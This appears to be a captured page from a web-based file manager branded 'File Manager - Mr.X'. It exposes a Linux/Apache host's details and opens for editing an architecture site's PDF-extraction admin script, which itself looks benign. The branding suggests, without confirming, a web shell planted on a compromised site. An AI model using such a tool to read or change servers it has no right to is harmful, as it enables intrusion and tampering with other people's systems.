🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:pdf_extract.php
<?php /** * ARCHI-TECH Admin PDF Project Extraction Module */ require_once __DIR__ . '/../includes/db.php'; require_once __DIR__ . '/../includes/functions.php'; // Check if vendor autoloader exists (installed via Composer) $autoload_path = __DIR__ . '/../vendor/autoload.php'; if (file_exists($autoload_path)) { require_once $autoload_path; } else { die("Composer packages not found. Please run 'composer install' in the project directory."); } check_admin_auth(); $success_msg = ''; $error_msg = ''; $extracted_info = null; if (isset($_POST['submit_pdf'])) { if (!isset($_FILES['pdf_file']) || $_FILES['pdf_file']['error'] !== UPLOAD_ERR_OK) { $error_msg = "Please select a valid PDF file to upload."; } else { $file_name = $_FILES['pdf_file']['name']; $ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION)); if ($ext !== 'pdf') { $error_msg = "Invalid file type. Please upload PDF files only."; } else { try { // 1. Move PDF file to local uploads directory $pdf_filename = 'doc_' . bin2hex(random_bytes(6)) . '.pdf'; $pdf_path = PDF_UPLOAD_DIR . $pdf_filename; $db_pdf_path = 'uploads/pdf/' . $pdf_filename; if (move_uploaded_file($_FILES['pdf_file']['tmp_name'], $pdf_path)) { // 2. Parse PDF Text Content $parser = new \Smalot\PdfParser\Parser(); $pdf = $parser->parseFile($pdf_path); $text = $pdf->getText(); // 3. Extract Text Parameters using RegEx $name = ''; $category = 'Architecture & Planning'; // default $location = 'Colombo, Sri Lanka'; // default $completion_date = null; $description = ''; // Match Project Name if (preg_match('/Project\s*Name\s*:\s*(.*)/i', $text, $matches)) { $name = trim($matches[1]); } else { // Fallback to filename if not found in text $name = pathinfo($file_name, PATHINFO_FILENAME); $name = str_replace(['-', '_'], ' ', $name); $name = ucwords($name); } // Match Category if (preg_match('/Category\s*:\s*(.*)/i', $text, $matches)) { $category = trim($matches[1]); } // Match Location if (preg_match('/Location\s*:\s*(.*)/i', $text, $matches)) { $location = trim($matches[1]); } // Match Completion Date if (preg_match('/(?:Completion\s*Date|Date)\s*:\s*([0-9\-]+)/i', $text, $matches)) { $completion_date = trim($matches[1]); } // Match Description if (preg_match('/Description\s*:\s*([\s\S]*?)(?=Category|Location|Date|Images|Before|After|$)/i', $text, $matches)) { $description = trim($matches[1]); } else { // Fallback to snippet of text if description block not found $description = "Extracted from " . $file_name . ". " . substr(strip_tags($text), 0, 250); } // 4. Extract Images from PDF Objects $extracted_images = []; $objects = $pdf->getObjects(); foreach ($objects as $object) { if ($object instanceof \Smalot\PdfParser\Object) { $details = $object->getDetails(); if (isset($details['Subtype']) && $details['Subtype'] === 'Image') { $data = $object->getContent(); if (!empty($data)) { $img_ext = 'jpg'; if (isset($details['Filter'])) { if ($details['Filter'] === 'FlateDecode') $img_ext = 'png'; elseif ($details['Filter'] === 'JPXDecode') $img_ext = 'jp2'; } $img_name = 'ext_' . bin2hex(random_bytes(6)) . '.' . $img_ext; $img_dest = PROJECT_UPLOAD_DIR . $img_name; if (@file_put_contents($img_dest, $data)) { $extracted_images[] = 'uploads/projects/' . $img_name; } } } } } // Assign main images from list $before_img = null; $after_img = null; $sub_images = []; if (count($extracted_images) >= 2) { $before_img = $extracted_images[0]; // first as before $after_img = $extracted_images[1]; // second as after $sub_images = array_slice($extracted_images, 2); } elseif (count($extracted_images) === 1) { $after_img = $extracted_images[0]; // only one image } else { // fallback placeholder if no images extracted $after_img = 'assets/images/gallery-1.jpg'; } // 5. Save Extracted Data into database (projects table) $stmt_proj = $pdo->prepare("INSERT INTO projects (name, description, category, location, completion_date, before_image, after_image, is_featured) VALUES (:name, :description, :category, :location, :completion_date, :before_image, :after_image, 0)"); $stmt_proj->execute([ 'name' => $name, 'description' => $description, 'category' => $category, 'location' => $location, 'completion_date' => $completion_date, 'before_image' => $before_img, 'after_image' => $after_img ]); $new_project_id = $pdo->lastInsertId(); // Save sub-images foreach ($sub_images as $sub_path) { $stmt_sub = $pdo->prepare("INSERT INTO project_images (project_id, image_path) VALUES (:project_id, :image_path)"); $stmt_sub->execute(['project_id' => $new_project_id, 'image_path' => $sub_path]); } // 6. Save upload logging information into pdf_uploads table $meta_json = json_encode([ 'project_id' => $new_project_id, 'name' => $name, 'category' => $category, 'location' => $location, 'completion_date' => $completion_date, 'images_extracted' => count($extracted_images) ]); $stmt_log = $pdo->prepare("INSERT INTO pdf_uploads (file_name, file_path, extracted_data, status) VALUES (:file_name, :file_path, :extracted_data, 'processed')"); $stmt_log->execute([ 'file_name' => $file_name, 'file_path' => $db_pdf_path, 'extracted_data' => $meta_json ]); $success_msg = "PDF successfully uploaded and processed."; // Keep info array to display to admin $extracted_info = [ 'name' => $name, 'category' => $category, 'location' => $location, 'date' => $completion_date, 'desc' => $description, 'images_count' => count($extracted_images) ]; } else { $error_msg = "Failed to copy uploaded file to PDF destination folder."; } } catch (Exception $e) { $error_msg = "PDF Processing Failure: " . $e->getMessage(); } } } } // Fetch past uploads $past_uploads = []; try { $stmt = $pdo->query("SELECT * FROM pdf_uploads ORDER BY id DESC LIMIT 10"); $past_uploads = $stmt->fetchAll(); } catch (PDOException $e) { // offline } require_once __DIR__ . '/header.php'; require_once __DIR__ . '/navbar.php'; ?> <div class="d-flex justify-content-between flex-wrap flex-md-nowrap align-items-center pt-3 pb-2 mb-4 border-bottom border-secondary"> <h1 class="h2 text-white text-uppercase" style="letter-spacing: -0.01em; font-family: 'Syne', sans-serif;">Automated PDF Extractor</h1> </div> <!-- Notice Alerts --> <?php if (!empty($success_msg)): ?> <div class="alert alert-success border-0 bg-success text-white mb-4"> <i class="bi bi-check-circle-fill me-2"></i><?= sanitize_input($success_msg) ?> </div> <?php endif; ?> <?php if (!empty($error_msg)): ?> <div class="alert alert-danger border-0 bg-danger text-white mb-4"> <i class="bi bi-exclamation-triangle-fill me-2"></i><?= sanitize_input($error_msg) ?> </div> <?php endif; ?> <div class="row g-4"> <!-- Left Column: Upload Panel --> <div class="col-lg-6"> <div class="glass-card mb-4"> <h3 class="h5 text-white text-uppercase mb-3" style="letter-spacing: 0.05em;"><i class="bi bi-file-earmark-arrow-up text-accent-color me-2"></i>Upload Project PDF</h3> <p class="small text-white-50 mb-4">Upload a structured project brochure. The extraction module will parse text parameters and rip embedded image elements to generate a portfolio entry instantly.</p> <form action="<?= BASE_URL ?>admin/pdf_extract.php" method="POST" enctype="multipart/form-data"> <div class="mb-4"> <label for="pdf_file" class="form-label text-uppercase small text-muted fw-bold">Select PDF Document</label> <input type="file" class="form-control form-dark-control" id="pdf_file" name="pdf_file" accept=".pdf" required> </div> <button type="submit" name="submit_pdf" class="btn-gold-filled w-100 py-3 text-uppercase fw-bold" style="font-size: 0.85rem; letter-spacing: 0.05em;">Process Extractor</button> </form> </div> <?php if ($extracted_info): ?> <!-- Extracted Metadata Display Card --> <div class="glass-card border-accent"> <h4 class="text-accent-color text-uppercase mb-3" style="font-size: 1.1rem;"><i class="bi bi-file-earmark-check me-2"></i>Extracted Project Properties</h4> <div class="row g-3"> <div class="col-12"> <small class="text-muted text-uppercase d-block small">Project Name</small> <strong class="text-white"><?= sanitize_input($extracted_info['name']) ?></strong> </div> <div class="col-6"> <small class="text-muted text-uppercase d-block small">Category</small> <strong class="text-white"><?= sanitize_input($extracted_info['category']) ?></strong> </div> <div class="col-6"> <small class="text-muted text-uppercase d-block small">Location</small> <strong class="text-white"><?= sanitize_input($extracted_info['location']) ?></strong> </div> <div class="col-6"> <small class="text-muted text-uppercase d-block small">Completion Date</small> <strong class="text-white"><?= !empty($extracted_info['date']) ? sanitize_input($extracted_info['date']) : 'In Progress' ?></strong> </div> <div class="col-6"> <small class="text-muted text-uppercase d-block small">Images Extracted</small> <strong class="text-white"><?= sanitize_input($extracted_info['images_count']) ?> images</strong> </div> <div class="col-12"> <small class="text-muted text-uppercase d-block small">Description Snippet</small> <p class="mb-0 text-white-50 small" style="text-align: justify;"><?= sanitize_input(substr($extracted_info['desc'], 0, 150)) ?>...</p> </div> </div> <div class="mt-4 border-top border-secondary pt-3"> <a href="<?= BASE_URL ?>projects.php" class="small text-accent-color text-uppercase fw-bold text-decoration-none" target="_blank">Verify Frontend Display <i class="bi bi-box-arrow-up-right ms-1"></i></a> </div> </div> <?php endif; ?> </div> <!-- Right Column: Past processed PDFs --> <div class="col-lg-6"> <div class="glass-card p-4"> <h3 class="h5 text-white text-uppercase mb-4" style="letter-spacing: 0.05em;"><i class="bi bi-clock-history text-accent-color me-2"></i>Processing History</h3> <div class="table-responsive"> <table class="table table-dark table-striped table-hover align-middle border-secondary table-dark-custom"> <thead> <tr> <th scope="col" style="width: 50%;">Document Title</th> <th scope="col" style="width: 30%;">Processed Date</th> <th scope="col" style="width: 20%; text-align: center;">Status</th> </tr> </thead> <tbody> <?php if (!empty($past_uploads)): ?> <?php foreach ($past_uploads as $row): ?> <tr> <td> <a href="<?= BASE_URL . sanitize_input($row['file_path']) ?>" class="text-white" target="_blank"> <strong><?= sanitize_input($row['file_name']) ?></strong> </a> <?php if (!empty($row['extracted_data'])): ?> <?php $json = json_decode($row['extracted_data'], true); ?> <?php if (isset($json['name'])): ?> <small class="d-block text-muted">Project: <?= sanitize_input($json['name']) ?></small> <?php endif; ?> <?php endif; ?> </td> <td class="small text-muted"><?= date('M d, Y H:i', strtotime($row['created_at'])) ?></td> <td align="center"> <span class="badge bg-success text-uppercase">Processed</span> </td> </tr> <?php endforeach; ?> <?php else: ?> <tr> <td colspan="3" class="text-center text-muted py-4">No PDF logs available.</td> </tr> <?php endif; ?> </tbody> </table> </div> </div> </div> </div> <?php require_once __DIR__ . '/footer.php'; ?>
Save Changes
Cancel
Create New File
Create New Folder